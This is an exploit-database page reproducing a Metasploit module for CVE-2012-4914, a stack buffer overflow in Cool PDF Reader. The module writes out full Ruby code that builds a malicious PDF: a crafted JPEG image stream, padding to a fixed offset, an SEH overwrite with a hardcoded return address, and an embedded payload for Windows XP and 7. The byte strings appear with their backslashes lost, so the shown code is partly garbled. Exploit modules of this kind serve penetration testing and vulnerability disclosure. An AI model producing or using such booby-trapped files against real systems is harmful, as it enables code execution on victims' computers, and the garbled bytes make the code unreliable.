[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Cool PDF Image Stream Buffer Overflow
# Published : 2013-03-22
# Author :
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::PDF
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Cool PDF Image Stream Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Cool PDF Reader prior to version
3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that
contains a specially crafted image stream. This module has been tested successfully
on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Francis Provencher', # Vulnerability discovery
'Chris Gabriel', # Proof of concept
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-4914' ],
[ 'OSVDB', '89349' ],
[ 'EDB', '24463' ],
[ 'URL', 'http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=70&Itemid=70' ]
],
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Cool PDF 3.0.2.256 / Windows 7 SP1 / Windows XP SP3',
{
'Offset' => 433,
'Ret' => 0x00539fa4 # ppr from coolpdf.exe
}
]
],
'DisclosureDate' => 'Jan 18 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The output filename.', 'msf.pdf'])
], self.class)
end
def exploit
file_create(make_pdf)
end
def jpeg
p = payload.encoded
sploit = "xFFxD8xFFxEEx00x0Ex41x64" + "x6Fx62x65x00x64x80x00x00"
sploit << "x00x02xFFxDBx00x84x00x02" + "x02x02x02x02x02x02x02x02"
sploit << "x02x03x02x02x02x03x04x03" + "x03x03x03x04x05x04x04x04"
sploit << "x04x04x05x05x05x05x05x05" + "x05x05x05x05x07x08x08x08"
sploit << "x07x05x09x0Ax0Ax0Ax0Ax09" + "x0Cx0Cx0Cx0Cx0Cx0Cx0Cx0C"
sploit << "x0Cx0Cx0Cx0Cx0Cx0Cx0Cx01" + "x03x02x02x03x03x03x07x05"
sploit << "x05x07x0Dx0Ax09x0Ax0Dx0F" + "x0Dx0Dx0Dx0Dx0Fx0Fx0Cx0C"
sploit << "x0Cx0Cx0Cx0Fx0Fx0Cx0Cx0C" + "x0Cx0Cx0Cx0Fx0Cx0Ex0Ex0E"
sploit << "x0Ex0Ex0Cx11x11x11x11x11" + "x11x11x11x11x11x11x11x11"
sploit << "x11x11x11x11x11x11x11x11" + "xFFxC0x00x14x08x00x32x00"
sploit << "xE6x04x01x11x00x02x11x01" + "x03x11x01x04x11x00xFFxC4"
sploit << "x01xA2x00x00x00x07x01x01" + "x01x01x01x00x00x00x00x00"
sploit << "x00x00x00x04x05x03x02x06" + "x01x00x07x08x09x0Ax0Bx01"
sploit << "x54x02x02x03x01x01x01x01" + "x01x00x00x00x00x00x00x00"
sploit << "x01x00x02x03x04x05x06x07"
sploit << rand_text(target['Offset'])
sploit << generate_seh_record(target.ret)
sploit << p
sploit << rand_text(2388 - p.length)
return sploit
end
# Override the mixin obfuscator since it doesn't seem to work here.
def nObfu(str)
return str
end
def make_pdf
@pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))
add_object(2, nObfu("<</Type/Outlines>>"))
add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>"))
add_object(4, nObfu("[/PDF/Text/ImageC]"))
add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))
stream_1 = "stream" << eol
stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
stream_1 << "endstream" << eol
add_object(6, nObfu("<</Length 91>>#{stream_1}"))
stream = "<<" << eol
stream << "/Width 230" << eol
stream << "/BitsPerComponent 8" << eol
stream << "/Name /X" << eol
stream << "/Height 50" << eol
stream << "/Intent /RelativeColorimetric" << eol
stream << "/Subtype /Image" << eol
stream << "/Filter /DCTDecode" << eol
stream << "/Length #{jpeg.length}" << eol
stream << "/ColorSpace /DeviceCMYK" << eol
stream << "/Type /XObject" << eol
stream << ">>"
stream << "stream" << eol
stream << jpeg << eol
stream << "endstream" << eol
add_object(7, stream)
finish_pdf
end
end